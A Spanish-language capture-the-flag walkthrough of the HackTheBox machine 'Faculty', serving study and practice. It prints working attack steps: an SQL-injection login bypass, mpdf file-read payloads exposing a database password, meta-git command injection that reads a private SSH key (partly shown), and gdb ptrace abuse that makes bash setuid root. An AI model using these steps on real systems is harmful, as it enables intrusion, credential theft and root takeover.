Faculty es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Faculty 10.10.11.169 a /etc/hosts como faculty.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ nmap -sV -sC -oA enumeration/nmap1 10.10.11.169 Nmap scan report for 10.10.11.169 Host is up (0.045s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA) | 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA) |_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://faculty.htb Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel |
Tan sólo vemos dos puertos abiertos, y como no tenemos credenciales ssh vamos directamente contra el portal web en el puerto 80.
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente página
Investigamos por aqui pero no vemos ninguna posible forma de saltar esta pantalla así que vamos a enumerar directorios, utilizaremos la herramienta feroxbuster
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
$ feroxbuster -u http://faculty.htb -x php -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.7.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://faculty.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt 👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.7.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 302 GET 359l 693w 0c http://faculty.htb/ => login.php 301 GET 7l 12w 178c http://faculty.htb/admin => http://faculty.htb/admin/ 500 GET 0l 0w 0c http://faculty.htb/test.php 200 GET 132l 235w 0c http://faculty.htb/login.php 200 GET 175l 311w 0c http://faculty.htb/admin/login.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets => http://faculty.htb/admin/assets/ 301 GET 7l 12w 178c http://faculty.htb/admin/database => http://faculty.htb/admin/database/ 200 GET 1l 0w 0c http://faculty.htb/admin/download.php 200 GET 0l 0w 0c http://faculty.htb/admin/ajax.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets/js => http://faculty.htb/admin/assets/js/ 301 GET 7l 12w 178c http://faculty.htb/admin/assets/css => http://faculty.htb/admin/assets/css/ 301 GET 7l 12w 178c http://faculty.htb/admin/assets/img => http://faculty.htb/admin/assets/img/ 200 GET 70l 105w 0c http://faculty.htb/admin/users.php 200 GET 106l 167w 0c http://faculty.htb/admin/home.php 302 GET 359l 693w 0c http://faculty.htb/index.php => login.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets/uploads => http://faculty.htb/admin/assets/uploads/ 500 GET 43l 88w 0c http://faculty.htb/admin/events.php 302 GET 420l 809w 0c http://faculty.htb/admin/index.php => login.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets/uploads/gallery => http://faculty.htb/admin/assets/uploads/gallery/ 200 GET 47l 106w 0c http://faculty.htb/header.php 200 GET 47l 106w 0c http://faculty.htb/admin/header.php 200 GET 218l 445w 0c http://faculty.htb/admin/courses.php 200 GET 201l 371w 0c http://faculty.htb/admin/schedule.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets/vendor => http://faculty.htb/admin/assets/vendor/ 200 GET 218l 372w 0c http://faculty.htb/admin/faculty.php 301 GET 7l 12w 178c http://faculty.htb/admin/assets/vendor/jquery => http://faculty.htb/admin/assets/vendor/jquery/ 200 GET 28l 70w 0c http://faculty.htb/admin/navbar.php 200 GET 0l 0w 0c http://faculty.htb/admin/db_connect.php 200 GET 232l 458w 0c http://faculty.htb/admin/subjects.php 301 GET 7l 12w 178c http://faculty.htb/mpdf => http://faculty.htb/mpdf/ 301 GET 7l 12w 178c http://faculty.htb/mpdf/tmp => http://faculty.htb/mpdf/tmp/ 301 GET 7l 12w 178c http://faculty.htb/mpdf/includes => http://faculty.htb/mpdf/includes/ 301 GET 7l 12w 178c http://faculty.htb/mpdf/classes => http://faculty.htb/mpdf/classes/ 500 GET 0l 0w 0c http://faculty.htb/mpdf/config.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/includes/out.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/includes/functions.php 301 GET 7l 12w 178c http://faculty.htb/mpdf/font => http://faculty.htb/mpdf/font/ 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/gif.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/graph.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/barcode.php 200 GET 37l 84w 0c http://faculty.htb/topbar.php 200 GET 37l 84w 0c http://faculty.htb/admin/topbar.php 301 GET 7l 12w 178c http://faculty.htb/mpdf/patterns => http://faculty.htb/mpdf/patterns/ 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/en.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/sea.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/fr.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/de.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/es.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/it.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/ru.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/nl.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/pl.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/fi.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/patterns/sv.php 301 GET 7l 12w 178c http://faculty.htb/mpdf/qrcode => http://faculty.htb/mpdf/qrcode/ 301 GET 7l 12w 178c http://faculty.htb/mpdf/qrcode/data => http://faculty.htb/mpdf/qrcode/data/ 500 GET 0l 0w 0c http://faculty.htb/mpdf/qrcode/image.php 200 GET 94l 1552w 0c http://faculty.htb/mpdf/qrcode/index.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/bmp.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/grad.php 200 GET 1l 15w 0c http://faculty.htb/mpdf/compress.php 500 GET 0l 0w 0c http://faculty.htb/mpdf/classes/svg.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/mpdf.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/meter.php 200 GET 0l 0w 0c http://faculty.htb/mpdf/classes/myanmar.php |
Vemos una uri interesante /admin/login.php así que accedemos a la misma y vemos el siguiente formulario de login
Hacemos alguna prueba de saltar este formulario y lo conseguimos con una simple sqli utilizando el siguiente payload
1 |
' or 1=1# |
Y accedemos al portal donde vemos una página de gestión de alumnos
Navegamos por el mismo y encontramos varias páginas donde muestra una serie de datos y nos permite exportar los mismos a pdf
Así que hacemos una prueba para ver como realiza esta exportación y obtenemos un fichero pdf similar al siguiente
Si nos fijamos en la url vemos que utiliza la librería mpdf y que guarda el fichero pdf en una ruta temporal y utilizando un hash como nombre del mismo, así que vamos a interceptar la petición con burp y vemos que genera un base64 con el contenido del fichero
Utilizaremos cyberchef para decodificar el base64 y el proceso será
- Decodificar base64
- Decodificar URL
- Decodificar URL
Y ya veremos el contenido del fichero en plano
Vamos a buscar ahora a ver si damos con alguna vulnerabilidad para aprovechar esto y encontramos un issue en github donde explica como obtener un fichero de la máquina como un adjunto del pdf generado
https://github.com/mpdf/mpdf/issues/356
Así que vamos a tratar de explotarla y para eso generamos nuestro payload con la ayuda de cyberchef
Interceptamos de nuevo con burp y modificamos el base64 por el nuestro y veremos como el fichero pdf contiene como adjunto el fichero passwd de la máquina con el listado de usuarios existentes en la misma
Seguimos revisando el portal y en la url de tareas programadas encontramos un error que nos indica la ruta de la aplicación
1 2 3 4 5 6 7 8 9 |
$ curl "http://faculty.htb/admin/ajax.php?action=get_schecdule" <br /> <b>Notice</b>: Undefined variable: faculty_id in <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>369</b><br /> <br /> <b>Fatal error</b>: Uncaught Error: Call to a member function fetch_assoc() on bool in /var/www/scheduling/admin/admin_class.php:370 Stack trace: #0 /var/www/scheduling/admin/ajax.php(100): Action->get_schecdule() #1 {main} thrown in <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>370</b><br /> |
Así que generamos un nuevo payload para obtener el fichero admin_class.php cuyo contenido es el siguiente
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 |
<?php session_start(); ini_set('display_errors', 1); Class Action { private $db; public function __construct() { ob_start(); include 'db_connect.php'; $this->db = $conn; } function __destruct() { $this->db->close(); ob_end_flush(); } function login(){ extract($_POST); $qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' "); if($qry->num_rows > 0){ foreach ($qry->fetch_array() as $key => $value) { if($key != 'password' && !is_numeric($key)) $_SESSION['login_'.$key] = $value; } if($_SESSION['login_type'] != 1){ foreach ($_SESSION as $key => $value) { unset($_SESSION[$key]); } return 2 ; exit; } return 1; }else{ return 3; } } function login_faculty(){ extract($_POST); $qry = $this->db->query("SELECT *,concat(lastname,', ',firstname,' ',middlename) as name FROM faculty where id_no = '".$id_no."' "); if($qry->num_rows > 0){ foreach ($qry->fetch_array() as $key => $value) { if($key != 'password' && !is_numeric($key)) $_SESSION['login_'.$key] = $value; } return 1; }else{ return 3; } } function login2(){ extract($_POST); if(isset($email)) $username = $email; $qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' "); if($qry->num_rows > 0){ foreach ($qry->fetch_array() as $key => $value) { if($key != 'passwors' && !is_numeric($key)) $_SESSION['login_'.$key] = $value; } if($_SESSION['login_alumnus_id'] > 0){ $bio = $this->db->query("SELECT * FROM alumnus_bio where id = ".$_SESSION['login_alumnus_id']); if($bio->num_rows > 0){ foreach ($bio->fetch_array() as $key => $value) { if($key != 'passwors' && !is_numeric($key)) $_SESSION['bio'][$key] = $value; } } } if($_SESSION['bio']['status'] != 1){ foreach ($_SESSION as $key => $value) { unset($_SESSION[$key]); } return 2 ; exit; } return 1; }else{ return 3; } } function logout(){ session_destroy(); foreach ($_SESSION as $key => $value) { unset($_SESSION[$key]); } header("location:login.php"); } function logout2(){ session_destroy(); foreach ($_SESSION as $key => $value) { unset($_SESSION[$key]); } header("location:../index.php"); } function save_user(){ extract($_POST); $data = " name = '$name' "; $data .= ", username = '$username' "; if(!empty($password)) $data .= ", password = '".md5($password)."' "; $data .= ", type = '$type' "; if($type == 1) $establishment_id = 0; $data .= ", establishment_id = '$establishment_id' "; $chk = $this->db->query("Select * from users where username = '$username';")->num_rows; if($chk > 0){ return 2; exit; } if(empty($id)){ $save = $this->db->query("INSERT INTO users set ".$data); }else{ $save = $this->db->query("UPDATE users set ".$data." where id = ".$id); } if($save){ return 1; } } function delete_user(){ extract($_POST); $delete = $this->db->query("DELETE FROM users where id = ".$id); if($delete) return 1; } function signup(){ extract($_POST); $data = " name = '".$firstname.' '.$lastname."' "; $data .= ", username = '$email' "; $data .= ", password = '".md5($password)."' "; $chk = $this->db->query("SELECT * FROM users where username = '$email' ")->num_rows; if($chk > 0){ return 2; exit; } $save = $this->db->query("INSERT INTO users set ".$data); if($save){ $uid = $this->db->insert_id; $data = ''; foreach($_POST as $k => $v){ if($k =='password') continue; if(empty($data) && !is_numeric($k) ) $data = " $k = '$v' "; else $data .= ", $k = '$v' "; } if($_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname); $data .= ", avatar = '$fname' "; } $save_alumni = $this->db->query("INSERT INTO alumnus_bio set $data "); if($data){ $aid = $this->db->insert_id; $this->db->query("UPDATE users set alumnus_id = $aid where id = $uid "); $login = $this->login2(); if($login) return 1; } } } function update_account(){ extract($_POST); $data = " name = '".$firstname.' '.$lastname."' "; $data .= ", username = '$email' "; if(!empty($password)) $data .= ", password = '".md5($password)."' "; $chk = $this->db->query("SELECT * FROM users where username = '$email' and id != '{$_SESSION['login_id']}' ")->num_rows; if($chk > 0){ return 2; exit; } $save = $this->db->query("UPDATE users set $data where id = '{$_SESSION['login_id']}' "); if($save){ $data = ''; foreach($_POST as $k => $v){ if($k =='password') continue; if(empty($data) && !is_numeric($k) ) $data = " $k = '$v' "; else $data .= ", $k = '$v' "; } if($_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname); $data .= ", avatar = '$fname' "; } $save_alumni = $this->db->query("UPDATE alumnus_bio set $data where id = '{$_SESSION['bio']['id']}' "); if($data){ foreach ($_SESSION as $key => $value) { unset($_SESSION[$key]); } $login = $this->login2(); if($login) return 1; } } } function save_settings(){ extract($_POST); $data = " name = '".str_replace("'","’",$name)."' "; $data .= ", email = '$email' "; $data .= ", contact = '$contact' "; $data .= ", about_content = '".htmlentities(str_replace("'","’",$about))."' "; if($_FILES['img']['tmp_name'] != ''){ $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name']; $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname); $data .= ", cover_img = '$fname' "; } // echo "INSERT INTO system_settings set ".$data; $chk = $this->db->query("SELECT * FROM system_settings"); if($chk->num_rows > 0){ $save = $this->db->query("UPDATE system_settings set ".$data); }else{ $save = $this->db->query("INSERT INTO system_settings set ".$data); } if($save){ $query = $this->db->query("SELECT * FROM system_settings limit 1")->fetch_array(); foreach ($query as $key => $value) { if(!is_numeric($key)) $_SESSION['settings'][$key] = $value; } return 1; } } function save_course(){ extract($_POST); $data = " course = '$course' "; $data .= ", description = '$description' "; if(empty($id)){ $save = $this->db->query("INSERT INTO courses set $data"); }else{ $save = $this->db->query("UPDATE courses set $data where id = $id"); } if($save) return 1; } function delete_course(){ extract($_POST); $delete = $this->db->query("DELETE FROM courses where id = ".$id); if($delete){ return 1; } } function save_subject(){ extract($_POST); $data = " subject = '$subject' "; $data .= ", description = '$description' "; if(empty($id)){ $save = $this->db->query("INSERT INTO subjects set $data"); }else{ $save = $this->db->query("UPDATE subjects set $data where id = $id"); } if($save) return 1; } function delete_subject(){ extract($_POST); $delete = $this->db->query("DELETE FROM subjects where id = ".$id); if($delete){ return 1; } } function save_faculty(){ extract($_POST); $data = ''; foreach($_POST as $k=> $v){ if(!empty($v)){ if($k !='id'){ if(empty($data)) $data .= " $k='{$v}' "; else $data .= ", $k='{$v}' "; } } } if(empty($id_no)){ $i = 1; while($i == 1){ $rand = mt_rand(1,99999999); $rand =sprintf("%'08d",$rand); $chk = $this->db->query("SELECT * FROM faculty where id_no = '$rand' ")->num_rows; if($chk <= 0){ $data .= ", id_no='$rand' "; $i = 0; } } } if(empty($id)){ if(!empty($id_no)){ $chk = $this->db->query("SELECT * FROM faculty where id_no = '$id_no' ")->num_rows; if($chk > 0){ return 2; exit; } } $save = $this->db->query("INSERT INTO faculty set $data "); }else{ if(!empty($id_no)){ $chk = $this->db->query("SELECT * FROM faculty where id_no = '$id_no' and id != $id ")->num_rows; if($chk > 0){ return 2; exit; } } $save = $this->db->query("UPDATE faculty set $data where id=".$id); } if($save) return 1; } function delete_faculty(){ extract($_POST); $delete = $this->db->query("DELETE FROM faculty where id = ".$id); if($delete){ return 1; } } function save_schedule(){ extract($_POST); $data = " faculty_id = '$faculty_id' "; $data .= ", title = '$title' "; $data .= ", schedule_type = '$schedule_type' "; $data .= ", description = '$description' "; $data .= ", location = '$location' "; if(isset($is_repeating)){ $data .= ", is_repeating = '$is_repeating' "; $rdata = array('dow'=>implode(',', $dow),'start'=>$month_from.'-01','end'=>(date('Y-m-d',strtotime($month_to .'-01 +1 month - 1 day ')))); $data .= ", repeating_data = '".json_encode($rdata)."' "; }else{ $data .= ", is_repeating = 0 "; $data .= ", schedule_date = '$schedule_date' "; } $data .= ", time_from = '$time_from' "; $data .= ", time_to = '$time_to' "; if(empty($id)){ $save = $this->db->query("INSERT INTO schedules set ".$data); }else{ $save = $this->db->query("UPDATE schedules set ".$data." where id=".$id); } if($save) return 1; } function delete_schedule(){ extract($_POST); $delete = $this->db->query("DELETE FROM schedules where id = ".$id); if($delete){ return 1; } } function get_schecdule(){ extract($_POST); $data = array(); $qry = $this->db->query("SELECT * FROM schedules where faculty_id = 0 or faculty_id = $faculty_id"); while($row=$qry->fetch_assoc()){ if($row['is_repeating'] == 1){ $rdata = json_decode($row['repeating_data']); foreach($rdata as $k =>$v){ $row[$k] = $v; } } $data[] = $row; } return json_encode($data); } function delete_forum(){ extract($_POST); $delete = $this->db->query("DELETE FROM forum_topics where id = ".$id); if($delete){ return 1; } } function save_comment(){ extract($_POST); $data = " comment = '".htmlentities(str_replace("'","’",$comment))."' "; if(empty($id)){ $data .= ", topic_id = '$topic_id' "; $data .= ", user_id = '{$_SESSION['login_id']}' "; $save = $this->db->query("INSERT INTO forum_comments set ".$data); }else{ $save = $this->db->query("UPDATE forum_comments set ".$data." where id=".$id); } if($save) return 1; } function delete_comment(){ extract($_POST); $delete = $this->db->query("DELETE FROM forum_comments where id = ".$id); if($delete){ return 1; } } function save_event(){ extract($_POST); $data = " title = '$title' "; $data .= ", schedule = '$schedule' "; $data .= ", content = '".htmlentities(str_replace("'","’",$content))."' "; if($_FILES['banner']['tmp_name'] != ''){ $_FILES['banner']['name'] = str_replace(array("(",")"," "), '', $_FILES['banner']['name']); $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['banner']['name']; $move = move_uploaded_file($_FILES['banner']['tmp_name'],'assets/uploads/'. $fname); $data .= ", banner = '$fname' "; } if(empty($id)){ $save = $this->db->query("INSERT INTO events set ".$data); }else{ $save = $this->db->query("UPDATE events set ".$data." where id=".$id); } if($save) return 1; } function delete_event(){ extract($_POST); $delete = $this->db->query("DELETE FROM events where id = ".$id); if($delete){ return 1; } } function participate(){ extract($_POST); $data = " event_id = '$event_id' "; $data .= ", user_id = '{$_SESSION['login_id']}' "; $commit = $this->db->query("INSERT INTO event_commits set $data "); if($commit) return 1; } } |
Si nos fijamos en el principio del fichero vemos el siguiente include
1 2 3 4 5 6 7 8 9 |
<?php session_start(); ini_set('display_errors', 1); Class Action { private $db; public function __construct() { ob_start(); include 'db_connect.php'; |
Así que generamos otro payload más para obtener el contenido del fichero db_connect.php que es el siguiente
1 2 3 |
<?php $conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con)); |
Tenemos unas credenciales, vamos a probarlas con el usuario gbyolo que vimos antes y conseguimos entrar en la máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
$ ssh gbyolo@faculty.htb The authenticity of host 'faculty.htb (10.10.11.169)' can't be established. ED25519 key fingerprint is SHA256:JYKRgj5yk9qD3GxSCsRAgUIBAhmTssq961F3rHxWlnY. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'faculty.htb' (ED25519) to the list of known hosts. gbyolo@faculty.htb's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jul 29 23:12:13 CEST 2022 System load: 0.0 Usage of /: 77.0% of 4.67GB Memory usage: 43% Swap usage: 0% Processes: 226 Users logged in: 0 IPv4 address for eth0: 10.10.11.169 IPv6 address for eth0: dead:beef::250:56ff:feb9:25e5 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update You have mail. gbyolo@faculty:~$ id uid=1000(gbyolo) gid=1000(gbyolo) groups=1000(gbyolo) |
Escalado lateral al usuario developer
Con el usuairo gbyolo no podemos obtener la flag así que necesitaremos hacer un escalado lateral a otro usuario para poder ver la misma.
Revisamos si el usuario dispone de algún permiso
1 2 3 4 5 6 7 |
gbyolo@faculty:/home$ sudo -l [sudo] password for gbyolo: Matching Defaults entries for gbyolo on faculty: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User gbyolo may run the following commands on faculty: (developer) /usr/local/bin/meta-git |
Y descubrimos que podemos ejecutar meta-git como el usuario developer, así que vamos a buscar en google y encontramos un reporte en hackerone donde explica una vulnerabilidad de RCE descubierta sobre dicha aplicación.
Necesitamos realizar el ataque desde un directorio donde tenga permisos de escritura el usuario así que vamos a la ruta /tmp y hacemos una primera prueba con el comando id
1 2 3 4 5 6 7 8 |
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'poc | id' meta git cloning into 'poc | id' at poc | id poc | id: fatal: repository 'poc' does not exist id: ‘poc’: no such user uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty) poc | id ✓ |
Y verificamos que realmente es vulnerable a este tipo de ataque así que vamos a ir un paso más allá y vamos a tratar de obtener la clave ssh del usuario developer
1 2 3 4 5 6 7 8 |
gbyolo@faculty:/tmp$ sudo -u developer meta-git clone 'poc | cat ~/.ssh/id_rsa' meta git cloning into 'poc | cat ~/.ssh/id_rsa' at id_rsa id_rsa: fatal: repository 'poc' does not exist -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAxDAgrHcD2I4U329//sdapn4ncVzRYZxACC/czxmSO5Us2S87dxyw |
Y la tenemos, el siguiente paso será utilizarla para acceder por ssh con el usuario.
Obteniendo la flag de user
Con la clave ssh del usuario developer accedemos a la máquina y cogemos la flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh -i developer.pem developer@faculty.htb Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Jul 29 23:26:21 CEST 2022 System load: 0.06 Usage of /: 77.1% of 4.67GB Memory usage: 44% Swap usage: 0% Processes: 227 Users logged in: 1 IPv4 address for eth0: 10.10.11.169 IPv6 address for eth0: dead:beef::250:56ff:feb9:25e5 0 updates can be applied immediately. The list of available updates is more than a week old. To check for new updates run: sudo apt update Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings developer@faculty:~$ id uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty) developer@faculty:~$ ls -l total 8 -rwxrwxr-x 1 developer developer 258 Nov 10 2020 sendmail.sh -rw-r----- 1 root developer 33 Jul 29 20:23 user.txt developer@faculty:~$ cat user.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc developer@faculty:~$ |
Escalado de privilegios
El siguiente paso será escalar a root, así que vamos a proseguir con la enumeración.
Revisamos en la home del usuario developer y encontramos un script sendmail.sh
1 2 3 4 |
developer@faculty:~$ ls -l total 8 -rwxrwxr-x 1 developer developer 258 Nov 10 2020 sendmail.sh -rw-r----- 1 root developer 33 Jul 29 20:23 user.txt |
Cuyo contenido es
1 2 3 |
developer@faculty:~$ cat sendmail.sh #!/bin/bash [ -s /var/mail/gbyolo ] || echo "Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb" | /usr/bin/mail -s "Faculty group" gbyolo@faculty.htb |
Revisamos los grupos del usuario y este, pertenece al grupo debug
1 2 |
developer@faculty:~$ id uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty) |
Y además, en la enumeración descubrimos que el binario de gdb dispone de una capabilitie
1 2 |
developer@faculty:~$ getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace+ep |
Buscamos más información al respecto y encontramos una posible forma de aprovecharla para escalar privilegios, y además un post donde está bastante decente explicado como explotar la vulnerabilidad.
Así que buscamos los procesos existentes en la máquina y encontramos uno muy interesante para llevar a cabo la explotación
1 2 |
developer@faculty:~$ ps aux | grep ^root | grep python root 728 0.0 0.9 26896 18196 ? Ss 20:23 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers |
Utilizaremos ahora gdb, aprovechando la capacidad que tiene habilitada para darle permisos de suid al binario de bash y conseguir escalar privilegios
1 2 3 4 5 6 7 8 9 10 11 12 |
developer@faculty:~$ gdb -p 728 Attaching to process 728 (gdb) call (void)system("chmod u+s /bin/bash") [Detaching after vfork from child process 8789] (gdb) quit A debugging session is active. Inferior 1 [process 728] will be detached. Quit anyway? (y or n) y Detaching from program: /usr/bin/python3.8, process 728 [Inferior 1 (process 728) detached] |
Revisamos que se han aplicado correctamente
1 2 |
developer@faculty:~$ ll /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 11:14 /bin/bash* |
Y escalamos
1 2 3 4 |
developer@faculty:~$ bash -p bash-5.0# id uid=1001(developer) gid=1002(developer) euid=0(root) groups=1002(developer),1001(debug),1003(faculty) bash-5.0# |
Obteniendo la flag de root
Siendo ya root, vamos a la home del usuario para obtener la flag
1 2 3 4 5 6 7 |
bash-5.0# ls -l total 12 -rw-r--r-- 1 root root 98 Jun 22 22:55 check_cron.sh -rw-r----- 1 root root 33 Jul 29 20:23 root.txt -rw-r--r-- 1 root root 183 Jun 22 22:37 service_check.sh bash-5.0# cat root.txt 5xxxxxxxxxxxxxxxxxxxxxxxxxxx9 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace